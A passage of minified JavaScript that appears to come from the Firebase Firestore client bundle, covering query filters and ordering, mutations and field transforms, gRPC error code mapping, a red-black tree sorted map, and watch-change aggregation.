t.call(this,e,"not-in",n)||this}return(0,Zo.ZT)(e,t),e.prototype.matches=function(t){if(Dh(this.value.arrayValue,{nullValue:"NULL_VALUE"}))return!1;var e=t.data.field(this.field);return null!==e&&!Dh(this.value.arrayValue,e)},e}(Jh),ap=function(t){function e(e,n){return t.call(this,e,"array-contains-any",n)||this}return(0,Zo.ZT)(e,t),e.prototype.matches=function(t){var e=this,n=t.data.field(this.field);return!(!Bh(n)||!n.arrayValue.values)&&n.arrayValue.values.some(function(t){return Dh(e.value.arrayValue,t)})},e}(Jh),cp=function(t,e){this.position=t,this.before=e};function lp(t){return(t.before?"b":"a")+":"+t.position.map(function(t){return Lh(t)}).join(",")}var up=function(t,e){void 0===e&&(e="asc"),this.field=t,this.dir=e};function dp(t,e){return t.dir===e.dir&&t.field.isEqual(e.field)}function hp(t,e,n){for(var r=0,i=0;i<t.position.length;i++){var o=e[i],s=t.position[i];if(r=o.field.isKeyField()?Ih.comparator(Ih.fromName(s.referenceValue),n.key):Nh(s,n.data.field(o.field)),"desc"===o.dir&&(r*=-1),0!==r)break}return t.before?r<=0:r<0}function pp(t,e){if(null===t)return null===e;if(null===e||t.before!==e.before||t.position.length!==e.position.length)return!1;for(var n=0;n<t.position.length;n++)if(!Ah(t.position[n],e.position[n]))return!1;return!0}var fp=function(t,e,n,r,i,o,s,a){void 0===e&&(e=null),void 0===n&&(n=[]),void 0===r&&(r=[]),void 0===i&&(i=null),void 0===o&&(o="F"),void 0===s&&(s=null),void 0===a&&(a=null),this.path=t,this.collectionGroup=e,this.explicitOrderBy=n,this.filters=r,this.limit=i,this.limitType=o,this.startAt=s,this.endAt=a,this.p=null,this.T=null};function gp(t,e,n,r,i,o,s,a){return new fp(t,e,n,r,i,o,s,a)}function mp(t){return new fp(t)}function yp(t){return!Oh(t.limit)&&"F"===t.limitType}function bp(t){return!Oh(t.limit)&&"L"===t.limitType}function vp(t){return t.explicitOrderBy.length>0?t.explicitOrderBy[0].field:null}function _p(t){for(var e=0,n=t.filters;e<n.length;e++){var r=n[e];if(r.g())return r.field}return null}function Cp(t){return null!==t.collectionGroup}function wp(t){var e=rh(t);if(null===e.p){e.p=[];var n=_p(e),r=vp(e);if(null!==n&&null===r)n.isKeyField()||e.p.push(new up(n)),e.p.push(new up(yh.keyField(),"asc"));else{for(var i=!1,o=0,s=e.explicitOrderBy;o<s.length;o++){var a=s[o];e.p.push(a),a.field.isKeyField()&&(i=!0)}if(!i){var c=e.explicitOrderBy.length>0?e.explicitOrderBy[e.explicitOrderBy.length-1].dir:"asc";e.p.push(new up(yh.keyField(),c))}}}return e.p}function xp(t){var e=rh(t);if(!e.T)if("F"===e.limitType)e.T=Qh(e.path,e.collectionGroup,wp(e),e.filters,e.limit,e.startAt,e.endAt);else{for(var n=[],r=0,i=wp(e);r<i.length;r++){var o=i[r];n.push(new up(o.field,"desc"===o.dir?"asc":"desc"))}var s=e.endAt?new cp(e.endAt.position,!e.endAt.before):null,a=e.startAt?new cp(e.startAt.position,!e.startAt.before):null;e.T=Qh(e.path,e.collectionGroup,n,e.filters,e.limit,s,a)}return e.T}function Pp(t,e,n){return new fp(t.path,t.collectionGroup,t.explicitOrderBy.slice(),t.filters.slice(),e,n,t.startAt,t.endAt)}function Sp(t,e){return Zh(xp(t),xp(e))&&t.limitType===e.limitType}function Mp(t){return Xh(xp(t))+"|lt:"+t.limitType}function Op(t){return"Query(target="+function(t){var e=t.path.canonicalString();return null!==t.collectionGroup&&(e+=" collectionGroup="+t.collectionGroup),t.filters.length>0&&(e+=", filters: ["+t.filters.map(function(t){return(e=t).field.canonicalString()+" "+e.op+" "+Lh(e.value);var e}).join(", ")+"]"),Oh(t.limit)||(e+=", limit: "+t.limit),t.orderBy.length>0&&(e+=", orderBy: ["+t.orderBy.map(function(t){return(e=t).field.canonicalString()+" ("+e.dir+")";var e}).join(", ")+"]"),t.startAt&&(e+=", startAt: "+lp(t.startAt)),t.endAt&&(e+=", endAt: "+lp(t.endAt)),"Target("+e+")"}(xp(t))+"; limitType="+t.limitType+")"}function Ep(t,e){return e.isFoundDocument()&&(i=(r=e).key.path,null!==(n=t).collectionGroup?r.key.hasCollectionId(n.collectionGroup)&&n.path.isPrefixOf(i):Ih.isDocumentKey(n.path)?n.path.isEqual(i):n.path.isImmediateParentOf(i))&&function(t,e){for(var n=0,r=t.explicitOrderBy;n<r.length;n++){var i=r[n];if(!i.field.isKeyField()&&null===e.data.field(i.field))return!1}return!0}(t,e)&&function(t,e){for(var n=0,r=t.filters;n<r.length;n++)if(!r[n].matches(e))return!1;return!0}(t,e)&&function(t,e){return!(t.startAt&&!hp(t.startAt,wp(t),e)||t.endAt&&hp(t.endAt,wp(t),e))}(t,e);var n,r,i}function Tp(t){return function(e,n){for(var r=!1,i=0,o=wp(t);i<o.length;i++){var s=o[i],a=Ip(s,e,n);if(0!==a)return a;r=r||s.field.isKeyField()}return 0}}function Ip(t,e,n){var r,i,o,s,a=t.field.isKeyField()?Ih.comparator(e.key,n.key):(i=n,o=e.data.field(r=t.field),s=i.data.field(r),null!==o&&null!==s?Nh(o,s):eh());switch(t.dir){case"asc":return a;case"desc":return-1*a;default:return eh()}}function kp(t,e){if(t.I){if(isNaN(e))return{doubleValue:"NaN"};if(e===1/0)return{doubleValue:"Infinity"};if(e===-1/0)return{doubleValue:"-Infinity"}}return{doubleValue:Eh(e)?"-0":e}}function Ap(t){return{integerValue:""+t}}function Dp(t,e){return Th(e)?Ap(e):kp(t,e)}var Np=function(){this._=void 0};function Rp(t,e,n){return t instanceof Fp?(o={fields:{__type__:{stringValue:"server_timestamp"},__local_write_time__:{timestampValue:{seconds:(r=n).seconds,nanos:r.nanoseconds}}}},(i=e)&&(o.fields.__previous_value__=i),{mapValue:o}):t instanceof Vp?Bp(t,e):t instanceof Hp?zp(t,e):function(t,e){var n=jp(t,e),r=Up(n)+Up(t.A);return Vh(n)&&Vh(t.A)?Ap(r):kp(t.R,r)}(t,e);var r,i,o}function Lp(t,e,n){return t instanceof Vp?Bp(t,e):t instanceof Hp?zp(t,e):n}function jp(t,e){return t instanceof Gp?Vh(r=e)||(n=r)&&"doubleValue"in n?e:{integerValue:0}:null;var n,r}var Fp=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return(0,Zo.ZT)(e,t),e}(Np),Vp=function(t){function e(e){var n=this;return(n=t.call(this)||this).elements=e,n}return(0,Zo.ZT)(e,t),e}(Np);function Bp(t,e){for(var n=qp(e),r=function(t){n.some(function(e){return Ah(e,t)})||n.push(t)},i=0,o=t.elements;i<o.length;i++)r(o[i]);return{arrayValue:{values:n}}}var Hp=function(t){function e(e){var n=this;return(n=t.call(this)||this).elements=e,n}return(0,Zo.ZT)(e,t),e}(Np);function zp(t,e){for(var n=qp(e),r=function(t){n=n.filter(function(e){return!Ah(e,t)})},i=0,o=t.elements;i<o.length;i++)r(o[i]);return{arrayValue:{values:n}}}var Gp=function(t){function e(e,n){var r=this;return(r=t.call(this)||this).R=e,r.A=n,r}return(0,Zo.ZT)(e,t),e}(Np);function Up(t){return wh(t.integerValue||t.doubleValue)}function qp(t){return Bh(t)&&t.arrayValue.values?t.arrayValue.values.slice():[]}var Wp=function(t,e){this.field=t,this.transform=e},Kp=function(t,e){this.version=t,this.transformResults=e},$p=function(){function t(t,e){this.updateTime=t,this.exists=e}return t.none=function(){return new t},t.exists=function(e){return new t(void 0,e)},t.updateTime=function(e){return new t(e)},Object.defineProperty(t.prototype,"isNone",{get:function(){return void 0===this.updateTime&&void 0===this.exists},enumerable:!1,configurable:!0}),t.prototype.isEqual=function(t){return this.exists===t.exists&&(this.updateTime?!!t.updateTime&&this.updateTime.isEqual(t.updateTime):!t.updateTime)},t}();function Qp(t,e){return void 0!==t.updateTime?e.isFoundDocument()&&e.version.isEqual(t.updateTime):void 0===t.exists||t.exists===e.isFoundDocument()}var Xp=function(){};function Zp(t,e,n){var r,i,o,s,a;t instanceof nf?(i=e,o=n,s=(r=t).value.clone(),a=sf(r.fieldTransforms,i,o.transformResults),s.setAll(a),i.convertToFoundDocument(o.version,s).setHasCommittedMutations()):t instanceof rf?function(t,e,n){if(Qp(t.precondition,e)){var r=sf(t.fieldTransforms,e,n.transformResults),i=e.data;i.setAll(of(t)),i.setAll(r),e.convertToFoundDocument(n.version,i).setHasCommittedMutations()}else e.convertToUnknownDocument(n.version)}(t,e,n):function(t,e,n){e.convertToNoDocument(n.version).setHasCommittedMutations()}(0,e,n)}function Yp(t,e,n){var r;t instanceof nf?function(t,e,n){if(Qp(t.precondition,e)){var r=t.value.clone(),i=af(t.fieldTransforms,n,e);r.setAll(i),e.convertToFoundDocument(ef(e),r).setHasLocalMutations()}}(t,e,n):t instanceof rf?function(t,e,n){if(Qp(t.precondition,e)){var r=af(t.fieldTransforms,n,e),i=e.data;i.setAll(of(t)),i.setAll(r),e.convertToFoundDocument(ef(e),i).setHasLocalMutations()}}(t,e,n):Qp(t.precondition,r=e)&&r.convertToNoDocument(uh.min())}function Jp(t,e){for(var n=null,r=0,i=t.fieldTransforms;r<i.length;r++){var o=i[r],s=e.data.field(o.field),a=jp(o.transform,s||null);null!=a&&(null==n&&(n=qh.empty()),n.set(o.field,a))}return n||null}function tf(t,e){return t.type===e.type&&!!t.key.isEqual(e.key)&&!!t.precondition.isEqual(e.precondition)&&(r=e.fieldTransforms,!!(void 0===(n=t.fieldTransforms)&&void 0===r||n&&r&&ah(n,r,function(t,e){return(n=t).field.isEqual((r=e).field)&&(o=r.transform,(i=n.transform)instanceof Vp&&o instanceof Vp||i instanceof Hp&&o instanceof Hp?ah(i.elements,o.elements,Ah):i instanceof Gp&&o instanceof Gp?Ah(i.A,o.A):i instanceof Fp&&o instanceof Fp);var n,r,i,o})))&&(0===t.type?t.value.isEqual(e.value):1!==t.type||t.data.isEqual(e.data)&&t.fieldMask.isEqual(e.fieldMask));var n,r}function ef(t){return t.isFoundDocument()?t.version:uh.min()}var nf=function(t){function e(e,n,r,i){void 0===i&&(i=[]);var o=this;return(o=t.call(this)||this).key=e,o.value=n,o.precondition=r,o.fieldTransforms=i,o.type=0,o}return(0,Zo.ZT)(e,t),e}(Xp),rf=function(t){function e(e,n,r,i,o){void 0===o&&(o=[]);var s=this;return(s=t.call(this)||this).key=e,s.data=n,s.fieldMask=r,s.precondition=i,s.fieldTransforms=o,s.type=1,s}return(0,Zo.ZT)(e,t),e}(Xp);function of(t){var e=new Map;return t.fieldMask.fields.forEach(function(n){if(!n.isEmpty()){var r=t.data.field(n);e.set(n,r)}}),e}function sf(t,e,n){var r=new Map;nh(t.length===n.length);for(var i=0;i<n.length;i++){var o=t[i],s=o.transform,a=e.data.field(o.field);r.set(o.field,Lp(s,a,n[i]))}return r}function af(t,e,n){for(var r=new Map,i=0,o=t;i<o.length;i++){var s=o[i],a=s.transform,c=n.data.field(s.field);r.set(s.field,Rp(a,c,e))}return r}var cf,lf,uf=function(t){function e(e,n){var r=this;return(r=t.call(this)||this).key=e,r.precondition=n,r.type=2,r.fieldTransforms=[],r}return(0,Zo.ZT)(e,t),e}(Xp),df=function(t){function e(e,n){var r=this;return(r=t.call(this)||this).key=e,r.precondition=n,r.type=3,r.fieldTransforms=[],r}return(0,Zo.ZT)(e,t),e}(Xp),hf=function(t){this.count=t};function pf(t){switch(t){case Kd.OK:return eh();case Kd.CANCELLED:case Kd.UNKNOWN:case Kd.DEADLINE_EXCEEDED:case Kd.RESOURCE_EXHAUSTED:case Kd.INTERNAL:case Kd.UNAVAILABLE:case Kd.UNAUTHENTICATED:return!1;case Kd.INVALID_ARGUMENT:case Kd.NOT_FOUND:case Kd.ALREADY_EXISTS:case Kd.PERMISSION_DENIED:case Kd.FAILED_PRECONDITION:case Kd.ABORTED:case Kd.OUT_OF_RANGE:case Kd.UNIMPLEMENTED:case Kd.DATA_LOSS:return!0;default:return eh()}}function ff(t){if(void 0===t)return Yd("GRPC error has no .code"),Kd.UNKNOWN;switch(t){case cf.OK:return Kd.OK;case cf.CANCELLED:return Kd.CANCELLED;case cf.UNKNOWN:return Kd.UNKNOWN;case cf.DEADLINE_EXCEEDED:return Kd.DEADLINE_EXCEEDED;case cf.RESOURCE_EXHAUSTED:return Kd.RESOURCE_EXHAUSTED;case cf.INTERNAL:return Kd.INTERNAL;case cf.UNAVAILABLE:return Kd.UNAVAILABLE;case cf.UNAUTHENTICATED:return Kd.UNAUTHENTICATED;case cf.INVALID_ARGUMENT:return Kd.INVALID_ARGUMENT;case cf.NOT_FOUND:return Kd.NOT_FOUND;case cf.ALREADY_EXISTS:return Kd.ALREADY_EXISTS;case cf.PERMISSION_DENIED:return Kd.PERMISSION_DENIED;case cf.FAILED_PRECONDITION:return Kd.FAILED_PRECONDITION;case cf.ABORTED:return Kd.ABORTED;case cf.OUT_OF_RANGE:return Kd.OUT_OF_RANGE;case cf.UNIMPLEMENTED:return Kd.UNIMPLEMENTED;case cf.DATA_LOSS:return Kd.DATA_LOSS;default:return eh()}}(lf=cf||(cf={}))[lf.OK=0]="OK",lf[lf.CANCELLED=1]="CANCELLED",lf[lf.UNKNOWN=2]="UNKNOWN",lf[lf.INVALID_ARGUMENT=3]="INVALID_ARGUMENT",lf[lf.DEADLINE_EXCEEDED=4]="DEADLINE_EXCEEDED",lf[lf.NOT_FOUND=5]="NOT_FOUND",lf[lf.ALREADY_EXISTS=6]="ALREADY_EXISTS",lf[lf.PERMISSION_DENIED=7]="PERMISSION_DENIED",lf[lf.UNAUTHENTICATED=16]="UNAUTHENTICATED",lf[lf.RESOURCE_EXHAUSTED=8]="RESOURCE_EXHAUSTED",lf[lf.FAILED_PRECONDITION=9]="FAILED_PRECONDITION",lf[lf.ABORTED=10]="ABORTED",lf[lf.OUT_OF_RANGE=11]="OUT_OF_RANGE",lf[lf.UNIMPLEMENTED=12]="UNIMPLEMENTED",lf[lf.INTERNAL=13]="INTERNAL",lf[lf.UNAVAILABLE=14]="UNAVAILABLE",lf[lf.DATA_LOSS=15]="DATA_LOSS";var gf=function(){function t(t,e){this.comparator=t,this.root=e||yf.EMPTY}return t.prototype.insert=function(e,n){return new t(this.comparator,this.root.insert(e,n,this.comparator).copy(null,null,yf.BLACK,null,null))},t.prototype.remove=function(e){return new t(this.comparator,this.root.remove(e,this.comparator).copy(null,null,yf.BLACK,null,null))},t.prototype.get=function(t){for(var e=this.root;!e.isEmpty();){var n=this.comparator(t,e.key);if(0===n)return e.value;n<0?e=e.left:n>0&&(e=e.right)}return null},t.prototype.indexOf=function(t){for(var e=0,n=this.root;!n.isEmpty();){var r=this.comparator(t,n.key);if(0===r)return e+n.left.size;r<0?n=n.left:(e+=n.left.size+1,n=n.right)}return-1},t.prototype.isEmpty=function(){return this.root.isEmpty()},Object.defineProperty(t.prototype,"size",{get:function(){return this.root.size},enumerable:!1,configurable:!0}),t.prototype.minKey=function(){return this.root.minKey()},t.prototype.maxKey=function(){return this.root.maxKey()},t.prototype.inorderTraversal=function(t){return this.root.inorderTraversal(t)},t.prototype.forEach=function(t){this.inorderTraversal(function(e,n){return t(e,n),!1})},t.prototype.toString=function(){var t=[];return this.inorderTraversal(function(e,n){return t.push(e+":"+n),!1}),"{"+t.join(", ")+"}"},t.prototype.reverseTraversal=function(t){return this.root.reverseTraversal(t)},t.prototype.getIterator=function(){return new mf(this.root,null,this.comparator,!1)},t.prototype.getIteratorFrom=function(t){return new mf(this.root,t,this.comparator,!1)},t.prototype.getReverseIterator=function(){return new mf(this.root,null,this.comparator,!0)},t.prototype.getReverseIteratorFrom=function(t){return new mf(this.root,t,this.comparator,!0)},t}(),mf=function(){function t(t,e,n,r){this.isReverse=r,this.nodeStack=[];for(var i=1;!t.isEmpty();)if(i=e?n(t.key,e):1,r&&(i*=-1),i<0)t=this.isReverse?t.left:t.right;else{if(0===i){this.nodeStack.push(t);break}this.nodeStack.push(t),t=this.isReverse?t.right:t.left}}return t.prototype.getNext=function(){var t=this.nodeStack.pop(),e={key:t.key,value:t.value};if(this.isReverse)for(t=t.left;!t.isEmpty();)this.nodeStack.push(t),t=t.right;else for(t=t.right;!t.isEmpty();)this.nodeStack.push(t),t=t.left;return e},t.prototype.hasNext=function(){return this.nodeStack.length>0},t.prototype.peek=function(){if(0===this.nodeStack.length)return null;var t=this.nodeStack[this.nodeStack.length-1];return{key:t.key,value:t.value}},t}(),yf=function(){function t(e,n,r,i,o){this.key=e,this.value=n,this.color=null!=r?r:t.RED,this.left=null!=i?i:t.EMPTY,this.right=null!=o?o:t.EMPTY,this.size=this.left.size+1+this.right.size}return t.prototype.copy=function(e,n,r,i,o){return new t(null!=e?e:this.key,null!=n?n:this.value,null!=r?r:this.color,null!=i?i:this.left,null!=o?o:this.right)},t.prototype.isEmpty=function(){return!1},t.prototype.inorderTraversal=function(t){return this.left.inorderTraversal(t)||t(this.key,this.value)||this.right.inorderTraversal(t)},t.prototype.reverseTraversal=function(t){return this.right.reverseTraversal(t)||t(this.key,this.value)||this.left.reverseTraversal(t)},t.prototype.min=function(){return this.left.isEmpty()?this:this.left.min()},t.prototype.minKey=function(){return this.min().key},t.prototype.maxKey=function(){return this.right.isEmpty()?this.key:this.right.maxKey()},t.prototype.insert=function(t,e,n){var r=this,i=n(t,r.key);return(r=i<0?r.copy(null,null,null,r.left.insert(t,e,n),null):0===i?r.copy(null,e,null,null,null):r.copy(null,null,null,null,r.right.insert(t,e,n))).fixUp()},t.prototype.removeMin=function(){if(this.left.isEmpty())return t.EMPTY;var e=this;return e.left.isRed()||e.left.left.isRed()||(e=e.moveRedLeft()),(e=e.copy(null,null,null,e.left.removeMin(),null)).fixUp()},t.prototype.remove=function(e,n){var r,i=this;if(n(e,i.key)<0)i.left.isEmpty()||i.left.isRed()||i.left.left.isRed()||(i=i.moveRedLeft()),i=i.copy(null,null,null,i.left.remove(e,n),null);else{if(i.left.isRed()&&(i=i.rotateRight()),i.right.isEmpty()||i.right.isRed()||i.right.left.isRed()||(i=i.moveRedRight()),0===n(e,i.key)){if(i.right.isEmpty())return t.EMPTY;r=i.right.min(),i=i.copy(r.key,r.value,null,null,i.right.removeMin())}i=i.copy(null,null,null,null,i.right.remove(e,n))}return i.fixUp()},t.prototype.isRed=function(){return this.color},t.prototype.fixUp=function(){var t=this;return t.right.isRed()&&!t.left.isRed()&&(t=t.rotateLeft()),t.left.isRed()&&t.left.left.isRed()&&(t=t.rotateRight()),t.left.isRed()&&t.right.isRed()&&(t=t.colorFlip()),t},t.prototype.moveRedLeft=function(){var t=this.colorFlip();return t.right.left.isRed()&&(t=(t=(t=t.copy(null,null,null,null,t.right.rotateRight())).rotateLeft()).colorFlip()),t},t.prototype.moveRedRight=function(){var t=this.colorFlip();return t.left.left.isRed()&&(t=(t=t.rotateRight()).colorFlip()),t},t.prototype.rotateLeft=function(){var e=this.copy(null,null,t.RED,null,this.right.left);return this.right.copy(null,null,this.color,e,null)},t.prototype.rotateRight=function(){var e=this.copy(null,null,t.RED,this.left.right,null);return this.left.copy(null,null,this.color,null,e)},t.prototype.colorFlip=function(){var t=this.left.copy(null,null,!this.left.color,null,null),e=this.right.copy(null,null,!this.right.color,null,null);return this.copy(null,null,!this.color,t,e)},t.prototype.checkMaxDepth=function(){var t=this.check();return Math.pow(2,t)<=this.size+1},t.prototype.check=function(){if(this.isRed()&&this.left.isRed()||this.right.isRed())throw eh();var t=this.left.check();if(t!==this.right.check())throw eh();return t+(this.isRed()?0:1)},t}();yf.EMPTY=null,yf.RED=!0,yf.BLACK=!1,yf.EMPTY=new(function(){function t(){this.size=0}return Object.defineProperty(t.prototype,"key",{get:function(){throw eh()},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"value",{get:function(){throw eh()},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"color",{get:function(){throw eh()},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"left",{get:function(){throw eh()},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"right",{get:function(){throw eh()},enumerable:!1,configurable:!0}),t.prototype.copy=function(t,e,n,r,i){return this},t.prototype.insert=function(t,e,n){return new yf(t,e)},t.prototype.remove=function(t,e){return this},t.prototype.isEmpty=function(){return!0},t.prototype.inorderTraversal=function(t){return!1},t.prototype.reverseTraversal=function(t){return!1},t.prototype.minKey=function(){return null},t.prototype.maxKey=function(){return null},t.prototype.isRed=function(){return!1},t.prototype.checkMaxDepth=function(){return!0},t.prototype.check=function(){return 0},t}());var bf=function(){function t(t){this.comparator=t,this.data=new gf(this.comparator)}return t.prototype.has=function(t){return null!==this.data.get(t)},t.prototype.first=function(){return this.data.minKey()},t.prototype.last=function(){return this.data.maxKey()},Object.defineProperty(t.prototype,"size",{get:function(){return this.data.size},enumerable:!1,configurable:!0}),t.prototype.indexOf=function(t){return this.data.indexOf(t)},t.prototype.forEach=function(t){this.data.inorderTraversal(function(e,n){return t(e),!1})},t.prototype.forEachInRange=function(t,e){for(var n=this.data.getIteratorFrom(t[0]);n.hasNext();){var r=n.getNext();if(this.comparator(r.key,t[1])>=0)return;e(r.key)}},t.prototype.forEachWhile=function(t,e){var n;for(n=void 0!==e?this.data.getIteratorFrom(e):this.data.getIterator();n.hasNext();)if(!t(n.getNext().key))return},t.prototype.firstAfterOrEqual=function(t){var e=this.data.getIteratorFrom(t);return e.hasNext()?e.getNext().key:null},t.prototype.getIterator=function(){return new vf(this.data.getIterator())},t.prototype.getIteratorFrom=function(t){return new vf(this.data.getIteratorFrom(t))},t.prototype.add=function(t){return this.copy(this.data.remove(t).insert(t,!0))},t.prototype.delete=function(t){return this.has(t)?this.copy(this.data.remove(t)):this},t.prototype.isEmpty=function(){return this.data.isEmpty()},t.prototype.unionWith=function(t){var e=this;return e.size<t.size&&(e=t,t=this),t.forEach(function(t){e=e.add(t)}),e},t.prototype.isEqual=function(e){if(!(e instanceof t)||this.size!==e.size)return!1;for(var n=this.data.getIterator(),r=e.data.getIterator();n.hasNext();){var i=n.getNext().key,o=r.getNext().key;if(0!==this.comparator(i,o))return!1}return!0},t.prototype.toArray=function(){var t=[];return this.forEach(function(e){t.push(e)}),t},t.prototype.toString=function(){var t=[];return this.forEach(function(e){return t.push(e)}),"SortedSet("+t.toString()+")"},t.prototype.copy=function(e){var n=new t(this.comparator);return n.data=e,n},t}(),vf=function(){function t(t){this.iter=t}return t.prototype.getNext=function(){return this.iter.getNext().key},t.prototype.hasNext=function(){return this.iter.hasNext()},t}(),_f=new gf(Ih.comparator);function Cf(){return _f}var wf=new gf(Ih.comparator);function xf(){return wf}var Pf=new gf(Ih.comparator);function Sf(){return Pf}var Mf=new bf(Ih.comparator);function Of(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];for(var n=Mf,r=0,i=t;r<i.length;r++){var o=i[r];n=n.add(o)}return n}var Ef=new bf(sh);function Tf(){return Ef}var If=function(){function t(t,e,n,r,i){this.snapshotVersion=t,this.targetChanges=e,this.targetMismatches=n,this.documentUpdates=r,this.resolvedLimboDocuments=i}return t.createSynthesizedRemoteEventForCurrentChange=function(e,n){var r=new Map;return r.set(e,kf.createSynthesizedTargetChangeForCurrentChange(e,n)),new t(uh.min(),r,Tf(),Cf(),Of())},t}(),kf=function(){function t(t,e,n,r,i){this.resumeToken=t,this.current=e,this.addedDocuments=n,this.modifiedDocuments=r,this.removedDocuments=i}return t.createSynthesizedTargetChangeForCurrentChange=function(e,n){return new t(vh.EMPTY_BYTE_STRING,n,Of(),Of(),Of())},t}(),Af=function(t,e,n,r){this.v=t,this.removedTargetIds=e,this.key=n,this.P=r},Df=function(t,e){this.targetId=t,this.V=e},Nf=function(t,e,n,r){void 0===n&&(n=vh.EMPTY_BYTE_STRING),void 0===r&&(r=null),this.state=t,this.targetIds=e,this.resumeToken=n,this.cause=r},Rf=function(){function t(){this.S=0,this.D=Ff(),this.C=vh.EMPTY_BYTE_STRING,this.N=!1,this.F=!0}return Object.defineProperty(t.prototype,"current",{get:function(){return this.N},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"resumeToken",{get:function(){return this.C},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"k",{get:function(){return 0!==this.S},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"$",{get:function(){return this.F},enumerable:!1,configurable:!0}),t.prototype.O=function(t){t.approximateByteSize()>0&&(this.F=!0,this.C=t)},t.prototype.M=function(){var t=Of(),e=Of(),n=Of();return this.D.forEach(function(r,i){switch(i){case 0:t=t.add(r);break;case 2:e=e.add(r);break;case 1:n=n.add(r);break;default:eh()}}),new kf(this.C,this.N,t,e,n)},t.prototype.L=function(){this.F=!1,this.D=Ff()},t.prototype.B=function(t,e){this.F=!0,this.D=this.D.insert(t,e)},t.prototype.q=function(t){this.F=!0,this.D=this.D.remove(t)},t.prototype.U=function(){this.S+=1},t.prototype.K=function(){this.S-=1},t.prototype.j=function(){this.F=!0,this.N=!0},t}(),Lf=function(){function t(t){this.W=t,this.G=new Map,this.H=Cf(),this.J=jf(),this.Y=new bf(sh)}return t.prototype.X=function(t){for(var e=0,n=t.v;e<n.length;e++){var r=n[e];t.P&&t.P.isFoundDocument()?this.Z(r,t.P):this.tt(r,t.key,t.P)}for(var i=0,o=t.removedTargetIds;i<o.length;i++)this.tt(r=o[i],t.key,t.P)},t.prototype.et=function(t){var e=this;this.forEachTarget(t,function(n){var r=e.nt(n);switch(t.state){case 0:e.st(n)&&r.O(t.resumeToken);break;case 1:r.K(),r.k||r.L(),r.O(t.resumeToken);break;case 2:r.K(),r.k||e.removeTarget(n);break;case 3:e.st(n)&&(r.j(),r.O(t.resumeToken));break;case 4:e.st(n)&&(e.it(n),r.O(t.resumeToken));break;default:eh()}})},t.prototype.forEachTarget=function(t,e){var n=this;t.targetIds.length>0?t.targetIds.forEach(e):this.G.forEach(function(t,r){n.st(r)&&e(r)})},t.prototype.rt=function(t){var e=t.targetId,n=t.V.count,r=this.ot(e);if(r){var i=r.target;if(Yh(i))if(0===n){var o=new Ih(i.path);this.tt(e,o,Kh.newNoDocument(o,uh.min()))}else nh(1===n);else this.ct(e)!==n&&(this.it(e),this.Y=this.Y.add(e))}},t.prototype.ut=function(t){var e=this,n=new Map;this.G.forEach(function(r,i){var o=e.ot(i);if(o){if(r.current&&Yh(o.target)){var s=new Ih(o.target.path);null!==e.H.get(s)||e.at(i,s)||e.tt(i,s,Kh.newNoDocument(s,t))}r.$&&(n.set(i,r.M()),r.L())}});var r=Of();this.J.forEach(function(t,n){var i=!0;n.forEachWhile(function(t){var n=e.ot(t);return!n||2===n.purpose||(i=!1,!1)}),i&&(r=r.add(t))});var i=new If(t,n,this.Y,this.H,r);return this.H=Cf(),this.J=jf(),this.Y=new bf(sh),i},t.prototype.Z=function(t,e){if(this.st(t)){var n=this.at(t,e.key)?2:0;this.nt(t).B(e.key,n),this.H=this.H.insert(e.key,e),this.J=this.J.insert(e.key,this.ht(e.key).add(t))}},t.prototype.tt=function(t,e,n){if(this.st(t)){var r=this.nt(t);this.at(t,e)?r.B(e,1):r.q(e),this.J=this.J.insert(e,this.ht(e).delete(t)),n&&(this.H=this.H.insert(e,n))}},t.prototype.removeTarget=function(t){this.G.delete(t)},t.prototype.ct=function(t){var e=this.nt(t).M();return this.W.getRemoteKeysForTarget(t).size+e.addedDocuments.size-e.removedDocuments.size},t.prototype.U=function(t){this.nt(t).U()},t.prototype.nt=function(t){var e=this.G.get(t);return e||(e=new Rf,this.G.set(t,e)),e},t.prototype.ht=function(t){var e=this.J.get(t);return e||(e=new bf(sh),this.J=this.J.insert(t,e)),e},t.prototype.st=function(t){var e=null!==this.ot(t);return e||Zd("WatchChangeAggregator","Detected inactive target",t),e},t.prototype.ot=function(t){var e=this.G.get(t);return e&&e.k?null:this.W.lt(t)},t.prototype.it=function(t){var e=this;this.G.set(t,new Rf),this.W.getRemoteKeysForTarget(t).forEach(function(n){e.tt(t,n,null)})},t.prototype.at=function(t,e){return this.W.getRemoteKeysForTarget(t).has(e)},t}();function jf(){return new gf(Ih.comparator)}function Ff(){return new gf(Ih.comparator)}var Vf={asc:"ASCENDING",desc:"DESCENDING"},Bf={"<":"LESS_THAN","<=":"LESS_THAN_OR_EQUAL",">":"GREATER_THAN",">=":"GREATER_THAN_OR_EQUAL","==":"EQUAL","!=":"NOT_EQUAL","array-contains":"ARRAY_CONTAINS",in:"IN","not-in":"NOT_IN","array-contains-any":"ARRAY_CONTAINS_ANY"},Hf=function(t,e){this.databaseId=t,this.I=e};function zf(t,e){return t.I?new Date(1e3*e.seconds).toISOString().replace(/\.\d*/,"").replace("Z","")+"."+("000000000"+e.nanoseconds).slice(-9)+"Z":{seconds:""+e.seconds,nanos:e.nanoseconds}}function Gf(t,e){return t.I?e.toBase64():e.toUint8Array()}function Uf(t,e){return zf(t,e.toTimestamp())}function qf(t){return nh(!!t),uh.fromTimestamp(function(t){var e=Ch(t);return new lh(e.seconds,e.nanos)}(t))}function Wf(t,e){return(n=t,new gh(["projects",n.projectId,"databases",n.database])).child("documents").child(e).canonicalString();var n}function Kf(t){var e=gh.fromString(t);return nh(yg(e)),e}function $f(t,e){return Wf(t.databaseId,e.path)}function Qf(t,e){var n=Kf(e);if(n.get(1)!==t.databaseId.projectId)throw new $d(Kd.INVALID_ARGUMENT,"Tried to deserialize key from different project: "+n.get(1)+" vs "+t.databaseId.projectId);if(n.get(3)!==t.databaseId.database)throw new $d(Kd.INVALID_ARGUMENT,"Tried to deserialize key from different database: "+n.get(3)+" vs "+t.databaseId.database);return new Ih(Jf(n))}function Xf(t,e){return Wf(t.databaseId,e)}function Zf(t){var e=Kf(t);return 4===e.length?gh.emptyPath():Jf(e)}function Yf(t){return new gh(["projects",t.databaseId.projectId,"databases",t.databaseId.database]).canonicalString()}function 